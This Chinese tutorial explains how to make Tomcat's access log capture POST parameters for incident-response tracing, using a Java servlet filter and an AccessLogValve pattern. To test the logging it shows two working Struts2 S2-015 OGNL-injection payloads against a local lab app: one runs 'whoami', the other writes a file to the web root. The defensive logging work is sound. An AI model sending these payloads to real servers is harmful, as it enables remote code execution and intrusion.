Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。
对于常使用web服务器的朋友肯定会了解,一般的web server有两部分日志:
一是运行中的日志,它主要记录运行的一些信息,尤其是一些异常错误日志信息
二是访问日志信息,它记录的访问的时间,IP,访问的资料等相关信息。
Tomcat 服务器是应急场景中常见的web服务器,其访问日志记录的信息对溯源攻击路径有着不可替代的作用,美中不足的是在默认情况下Tomcat日志是不记录POST参数的。如下图:
但是我们可以通过%{xxx}r xxx is an attribute in the ServletRequest 将filter过滤的参数set进一个attribute,然后利用%{xxx}r 放进tomcat server.xml中的value
在Eclipse中创建PostDataDumperFilter.java文件,复制如下代码进文件中:
import java.io.IOException;
import java.util.Enumeration;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
public final class PostDataDumperFilter implements Filter {
private FilterConfig filterConfig = null;
@Override
public void destroy() {
this.filterConfig = null;
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if(!req.getMethod().equals("GET")){
if (filterConfig == null) {
return;
}
Enumeration names = request.getParameterNames();
StringBuffer output = new StringBuffer();
while (names.hasMoreElements()) {
String name = (String) names.nextElement();
output.append(name + "=");
String values[] = request.getParameterValues(name);
for (int i = 0; i < values.length; i++) {
if (i > 0) {
output.append(",");
}
output.append(values[i]);
}
if (names.hasMoreElements()) {
output.append("&");
}
}
req.setAttribute("postdata", output);
}
chain.doFilter(request, response);
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
}
}
在web.xml文件中配置如下的filter过滤器。
post-data-dumper-filter
PostDataDumperFilter
post-data-dumper-filter
/*
REQUEST
FORWARD
INCLUDE
修改tomcat conf目录下的配置文件server.xml中的AccessLogValve这个Valve的配置为:
pattern属性有一系列的字符串参数组成,每个参数都有前缀”%“,目前支持下面这些参数:
%a – 远程IP地址
%A – 本地IP地址
%b – 发送的字节数(Bytes sent), 不包括HTTP headers的字节,如果为0则展示’-‘
%B – 发送的字节数(Bytes sent), 不包括HTTP headers的字节
%h – 远程主机名称(如果resolveHosts为false则展示IP)
%H – 请求协议
%l – 远程用户名,始终为’-‘(Remote logical username from identd)
%m – 请求的方法(GET, POST等)
%p – 接受请求的本地端口
%q – 查询字符串,如果存在,有一个前置的’?’
%r – 请求的第一行(包括请求方法和请求的URI)
%s – response的HTTP状态码(200,404等)
%S – 用户的session ID
%t – 日期和时间,Common Log Format格式
%u – 被认证的远程用户, 不存在则展示’-‘
%U – 请求URL路径
%v – 本地服务名
%D – 处理请求的时间,单位为毫秒
%T – 处理请求的时间,单位为秒
%I – 当前请求的线程名(can compare later with stacktraces)
另外,Access Log中也支持cookie,请求header,响应headers,Session或者其他在ServletRequest中的对象的信息。格式遵循apache语法:
%{xxx}i 请求headers的信息
%{xxx}o 响应headers的信息
%{xxx}c 请求cookie的信息
%{xxx}r xxx是ServletRequest的一个属性
%{xxx}s xxx是HttpSession的一个属性
接下来使用eclipse将其发布到tomcat中:
发布完成之后,在webapps\PostDataDumperFilter\WEB-INF\classes目录下,生成PostDataDumperFilter.class文件。
webapps\PostDataDumperFilter\WEB-INF\lib目录下生成一个servlet-api.jar的文件
接下来将需要积累POST数据包的S2-015.war项目放入tomcat中的webapps目录下,开启tomcat,刷新即可生成S2-015目录,项目发布成功。
将PostDataDumperFilter.class放入webapps\S2-015\WEB-INF\classes目录下
Web.xml文件中添加filter过滤器。
post-data-dumper-filter
PostDataDumperFilter
post-data-dumper-filter
/*
REQUEST
FORWARD
INCLUDE
使用K8工具执行whoami命令进行测试
抓取并查看数据包,可以看到提交的POST数据包如下:
POST /S2-015/welcome.action HTTP/1.0
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: 127.0.0.1:8080
Content-Length: 627
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
查看tomcat日志中成功记录POST数据包,如下图。
测试文件上传
抓取的POST数据包如下:
POST /S2-015/welcome.action HTTP/1.0
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: 127.0.0.1:8080
Content-Length: 513
redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.getWriter().print(%22oko%22),%23res.getWriter().print(%22kok%22),%23res.getWriter().flush(),%23res.getWriter().close(),%23p%3d(%23req.getRealPath(%22%2F%22)%2b%22test.txt%22).replaceAll(%22\\\\%22, %22/%22),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=Struts2+Exploit+Test
日志成功记录提交的POST数据。